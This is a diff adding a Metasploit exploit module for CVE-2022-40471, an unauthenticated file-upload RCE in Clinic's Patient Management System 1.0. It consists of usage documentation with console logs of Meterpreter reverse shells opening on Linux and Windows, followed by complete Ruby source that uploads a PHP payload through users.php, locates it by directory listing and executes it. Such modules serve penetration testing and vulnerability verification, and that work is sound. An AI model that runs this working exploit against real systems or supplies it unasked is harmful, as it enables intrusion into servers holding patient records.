New Exploit Module for CVE-2022-40471: Clinic's Patient Management System 1.0 - Unauthenticated RCE

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+## Vulnerable Application
+The Clinic's Patient Management System (CPMS) 1.0 is vulnerable to Unauthenticated Remote Code Execution (RCE) due to a file upload vulnerability.
+This exploit allows an attacker to upload arbitrary files, such as a PHP web shell, which can then be executed remotely.
+The exploitation occurs because of a misconfiguration in the server, specifically a lack of file validation for uploads and the presence of
+a directory listing feature in `/pms/user_images`.
+This enables an attacker to upload a PHP file and access it via a publicly accessible URL, executing arbitrary PHP code.
+
+## Verification Steps
+
+### Vulnerable Application Installation Setup
+1. Install Clinic's Patient Management System 1.0 on your web server.
+   - Download the Web Application from [here](https://www.sourcecodester.com/download-code?nid=15453&title=Clinic%27s+Patient+Management+System+in+PHP%2FPDO+Free+Source+Code)
+	- For **Windows**
+		- [ ] Open your XAMPP Control Panel and start Apache and MySQL.
+		- [ ] Extract the downloaded source code zip file.
+		- [ ] Copy the extracted source code folder and paste it into the XAMPP's "htdocs" directory.
+		- [ ] Browse the PHPMyAdmin in a browser. i.e. http://localhost/phpmyadmin
+		- [ ] Create a new database naming `pms_db`.
+		- [ ] Import the provided SQL file. The file is known as pms_db.sql located inside the database folder.
+		- [ ] Browse the Clinic Patient Management System in a browser. i.e. http://localhost/pms/
+
+	- For **Linux**
+		- [ ] Start Apache2 & MySQL with the command `sudo systemctl start apache2 && sudo systemctl start mysql`
+		- [ ] Install PHPMyAdmin with the command `sudo apt install phpmyadmin -y`
+		- [ ] Edit `/etc/apache2/apache2.conf` by appending this line: `Include /etc/phpmyadmin/apache.conf`
+		- [ ] Extract the downloaded source code zip file into "/var/www/html" directory
+		- [ ] Next steps are similar to the ones for Windows, so follow that
+
+2. Start `msfconsole` and load the exploit module:
+```bash
+   msfconsole
+   use exploit/multi/http/clinic_pms_fileupload_rce
+```
+
+3. Set the required options:
+```bash
+   set rport <port>
+   set rhost <ip>
+   set targeturi /pms
+```
+
+4. Check if the target is vulnerable:
+```bash
+   check
+```
+
+   If the target is vulnerable, you will see a message indicating that the target is susceptible to the exploit:
+```
+   [+] <IP> The target is vulnerable.
+```
+
+5. Set up the listener for the exploit:
+```bash
+   set lport <port>
+   set lhost <ip>
+```
+
+6. Launch the exploit:
+```bash
+   exploit
+```
+
+7. If successful, you will receive a PHP Meterpreter shell.
+
+## Options
+- `TARGETURI`: (Required) The base path to the Clinic Patient Management System (default: `/pms`).
+- `LISTING_DELAY`: (Optional) The time to wait before fetching the directory listing after uploading the shell (default: `2` seconds).
+
+
+## Scenarios
+
+### Clinic's Patient Management System on a Linux Target
+```bash
+msf exploit(multi/http/clinic_pms_fileupload_rce) > check
+[*] Checking if target is vulnerable...
+[+] 127.0.0.1:80 - The target is vulnerable.
+
+msf exploit(multi/http/clinic_pms_fileupload_rce) > exploit
+[*] Started reverse TCP handler on 192.168.1.104:4444 
+[*] Detected OS: linux
+[*] Target is Linux/Unix. Using PHP Meterpreter payload with unlink_self.
+[*] Uploading PHP Meterpreter payload as zuX7FDRe.php...
+[+] Payload uploaded successfully!
+[*] Executing the uploaded shell at /pms/user_images/1734340436zuX7FDRe.php...
+[*] Sending stage (40004 bytes) to 192.168.1.104
+[*] Meterpreter session 1 opened (192.168.1.104:4444 -> 192.168.1.104:48290) at 2024-12-16 14:43:59 +0530
+
+meterpreter > sysinfo
+Computer    : kali
+OS          : Linux kali 6.11.2-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.11.2-1kali1 (2024-10-15) x86_64
+Meterpreter : php/linux
+meterpreter >
+```
+
+### Clinic's Patient Management System on a Windows Target
+```bash
+msf exploit(multi/http/clinic_pms_fileupload_rce) > check
+[*] Checking if target is vulnerable...
+[+] 192.168.1.103:80 - The target is vulnerable.
+
+msf exploit(multi/http/clinic_pms_fileupload_rce) > exploit
+[*] Started reverse TCP handler on 192.168.1.104:4444 
+[*] Detected OS: winnt
+[*] Target is Windows. Using standard PHP Meterpreter payload.
+[*] Uploading PHP Meterpreter payload as lgTprVq5.php...
+[+] Payload uploaded successfully!
+[*] Executing the uploaded shell at /pms/user_images/1734341267lgTprVq5.php...
+[*] Sending stage (40004 bytes) to 192.168.1.103
+[*] Meterpreter session 2 opened (192.168.1.104:4444 -> 192.168.1.103:60615) at 2024-12-16 14:57:43 +0530
+
+meterpreter > sysinfo
+Computer    : DESKTOP-VE9J36K
+OS          : Windows NT DESKTOP-VE9J36K 10.0 build 19045 (Windows 10) AMD64
+Meterpreter : php/windows
+meterpreter >
+```

modules/exploits/multi/http/clinic_pms_fileupload_rce.rb

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+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = ExcellentRanking
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Exploit::PhpEXE
+  include Msf::Exploit::FileDropper
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'Clinic\'s Patient Management System 1.0 - Unauthenticated RCE',
+        'Description' => %q{
+          This module exploits an unauthenticated file upload vulnerability in Clinic's
+          Patient Management System 1.0. An attacker can upload a PHP web shell and execute
+          it by leveraging directory listing enabled on the `/pms/user_images` directory.
+        },
+        'Author' => [
+          'Aaryan Golatkar', # Metasploit Module Developer
+          'Oğulcan Hami Gül', # Vulnerability discovery
+        ],
+        'License' => MSF_LICENSE,
+        'Platform' => 'php',
+        'Arch' => ARCH_PHP,
+        'Privileged' => false,
+        'Targets' => [
+          ['Clinic Patient Management System 1.0', {}]
+        ],
+        'DefaultTarget' => 0,
+        'References' => [
+          ['EDB', '51779'],
+          ['CVE', '2022-40471'],
+          ['URL', 'https://www.cve.org/CVERecord?id=CVE-2022-40471'],
+          ['URL', 'https://drive.google.com/file/d/1m-wTfOL5gY3huaSEM3YPSf98qIrkl-TW/view']
+        ],
+        'DisclosureDate' => '2022-10-31',
+        'Notes' => {
+          'Stability' => [CRASH_SAFE],
+          'Reliability' => [REPEATABLE_SESSION],
+          'SideEffects' => [ARTIFACTS_ON_DISK]
+        }
+      )
+    )
+
+    register_options([
+      OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms']),
+      OptInt.new('LISTING_DELAY', [true, 'Time to wait before retrieving directory listing (seconds)', 2]),
+      OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', false])
+    ])
+  end
+
+  def check
+    print_status('Checking if target is vulnerable...')
+
+    # Step 1: Retrieve PHPSESSID
+    vprint_status('Fetching PHPSESSID from the server...')
+    res_session = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'users.php'),
+      'method' => 'GET'
+    })
+
+    unless res_session && res_session.code == 302 && res_session.respond_to?(:get_cookies)
+      print_error('Server connect error. Couldn\'t connect or get necessary information - try to check your options.')
+      return CheckCode::Unknown
+    end
+
+    phpsessid = res_session.get_cookies.match(/PHPSESSID=([^;]+)/)
+    if phpsessid.nil?
+      print_error('Failed to retrieve PHPSESSID. Target may not be vulnerable.')
+      return CheckCode::Unknown
+    else
+      phpsessid = phpsessid[1]
+      vprint_good("Obtained PHPSESSID: #{phpsessid}")
+    end
+
+    # Step 2: Attempt File Upload
+    dummy_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.png"
+    dummy_content = Rex::Text.rand_text_alphanumeric(20)
+    dummy_name = Rex::Text.rand_text_alphanumeric(6)
+    post_data = Rex::MIME::Message.new
+    post_data.add_part(dummy_name, nil, nil, 'form-data; name="display_name"')
+    post_data.add_part(dummy_name, nil, nil, 'form-data; name="user_name"')
+    post_data.add_part(dummy_name, nil, nil, 'form-data; name="password"')
+    post_data.add_part(dummy_content, 'text/plain', nil, "form-data; name=\"profile_picture\"; filename=\"#{dummy_filename}\"")
+    post_data.add_part('', nil, nil, 'form-data; name="save_user"')
+
+    vprint_status("Uploading dummy file #{dummy_filename}...")
+    res_upload = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'users.php'),
+      'method' => 'POST',
+      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
+      'data' => post_data.to_s,
+      'cookie' => "PHPSESSID=#{phpsessid}"
+    })
+
+    unless res_upload && res_upload.code == 302
+      print_error('File upload attempt failed. Target may not be vulnerable.')
+      return CheckCode::Safe
+    end
+    vprint_good('Dummy file uploaded successfully.')
+
+    # Step 3: Verify File in Directory Listing
+    vprint_status('Verifying uploaded file in /pms/user_images...')
+    res_listing = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'user_images/'),
+      'method' => 'GET',
+      'cookie' => "PHPSESSID=#{phpsessid}"
+    })
+
+    if res_listing && res_listing.code == 200 && !res_listing.body.nil? && res_listing.body&.include?(dummy_filename)
+      vprint_good("File #{dummy_filename} found in /pms/user_images. Target is vulnerable!")
+      CheckCode::Vulnerable
+    else
+      vprint_error("File #{dummy_filename} not found in /pms/user_images. Target may not be vulnerable.")
+      CheckCode::Unknown
+    end
+  end
+
+  def upload_shell
+    random_user = Rex::Text.rand_text_alphanumeric(8)
+    random_password = Rex::Text.rand_text_alphanumeric(12)
+    detection_basename = Rex::Text.rand_text_alphanumeric(8).to_s
+    detection_filename = "#{detection_basename}.php"
+
+    # Step 1: Detect the OS
+    detection_script = <<~PHP
+      <?php
+      echo PHP_OS . "\\n";
+      ?>
+    PHP
+
+    vprint_status("Uploading OS detection script as #{detection_filename}...")
+    post_data = Rex::MIME::Message.new
+    post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"')
+    post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"')
+    post_data.add_part(random_password, nil, nil, 'form-data; name="password"')
+    post_data.add_part(detection_script, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{detection_filename}\"")
+    post_data.add_part('', nil, nil, 'form-data; name="save_user"')
+
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'users.php'),
+      'method' => 'POST',
+      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
+      'data' => post_data.to_s
+    })
+
+    fail_with(Failure::UnexpectedReply, 'Failed to upload OS detection script') unless res && res.code == 302
+    vprint_good('OS detection script uploaded successfully!')
+
+    # Step 2: Retrieve the actual uploaded filename
+    vprint_status('Retrieving directory listing to identify detection script...')
+    sleep datastore['LISTING_DELAY']
+
+    res_listing = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'user_images/'),
+      'method' => 'GET'
+    })
+
+    fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200
+
+    match = res_listing.body&.match(/<a href="(\d+#{Regexp.escape(detection_basename)}\w*\.php)"/)
+    fail_with(Failure::NotFound, 'Uploaded OS detection script not found in directory listing') if match.nil?
+
+    actual_detection_filename = match[1]
+    vprint_status("Detected script filename: #{actual_detection_filename}")
+
+    # Step 3: Execute the detection script
+    detection_url = normalize_uri(target_uri.path, 'user_images', actual_detection_filename)
+    vprint_status("Executing OS detection script at #{detection_url}...")
+    res = send_request_cgi({
+      'uri' => detection_url,
+      'method' => 'GET'
+    })
+
+    fail_with(Failure::UnexpectedReply, 'Failed to execute OS detection script') unless res && res.code == 200 && !res.body.nil?
+    detected_os = res.body.strip.downcase
+    vprint_status("Detected OS: #{detected_os}")
+
+    # Step 4: Choose payload based on OS
+    if detected_os.include?('win')
+      payload_content = get_write_exec_payload
+      print_status('Target is Windows. Using standard PHP Meterpreter payload.')
+    else
+      payload_content = get_write_exec_payload(unlink_self: true)
+      print_status('Target is Linux/Unix. Using PHP Meterpreter payload with unlink_self.')
+    end
+
+    # Step 5: Upload the payload
+    random_user = Rex::Text.rand_text_alphanumeric(8)
+    random_password = Rex::Text.rand_text_alphanumeric(12)
+    payload_filename = "#{Rex::Text.rand_text_alphanumeric(8)}.php"
+
+    vprint_status("Uploading PHP Meterpreter payload as #{payload_filename}...")
+
+    post_data = Rex::MIME::Message.new
+    post_data.add_part(random_user, nil, nil, 'form-data; name="display_name"')
+    post_data.add_part(random_user, nil, nil, 'form-data; name="user_name"')
+    post_data.add_part(random_password, nil, nil, 'form-data; name="password"')
+    post_data.add_part(payload_content, 'application/x-php', nil, "form-data; name=\"profile_picture\"; filename=\"#{payload_filename}\"")
+    post_data.add_part('', nil, nil, 'form-data; name="save_user"')
+
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'users.php'),
+      'method' => 'POST',
+      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
+      'data' => post_data.to_s
+    })
+
+    fail_with(Failure::UnexpectedReply, 'Failed to upload PHP payload') unless res && res.code == 302
+    print_good('Payload uploaded successfully!')
+
+    # Verify the presence of the uploaded file in the directory listing
+    vprint_status('Retrieving directory listing to confirm the uploaded payload...')
+    sleep datastore['LISTING_DELAY'] # Allow time for the file to appear on the server
+
+    res_listing = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path, 'user_images/'),
+      'method' => 'GET'
+    })
+
+    fail_with(Failure::UnexpectedReply, 'Failed to retrieve directory listing') unless res_listing && res_listing.code == 200
+
+    # Search for the uploaded filename
+    match = res_listing.body&.match(/href="(\d+#{Regexp.escape(payload_filename)})"/)
+    fail_with(Failure::NotFound, 'Uploaded file not found in directory listing') if match.nil?
+
+    actual_filename = match[1]
+    vprint_good("Verified payload presence: #{actual_filename}")
+    register_file_for_cleanup(actual_detection_filename, actual_filename) if datastore['DELETE_FILES']
+    actual_filename
+  end
+
+  def exploit
+    # Upload the shell and retrieve its filename
+    uploaded_filename = upload_shell
+
+    # Construct the URL for the uploaded shell
+    shell_url = normalize_uri(target_uri.path, 'user_images', uploaded_filename)
+    print_status("Executing the uploaded shell at #{shell_url}...")
+
+    # Execute the uploaded shell
+    send_request_raw({ 'uri' => shell_url, 'method' => 'GET' })
+  end
+end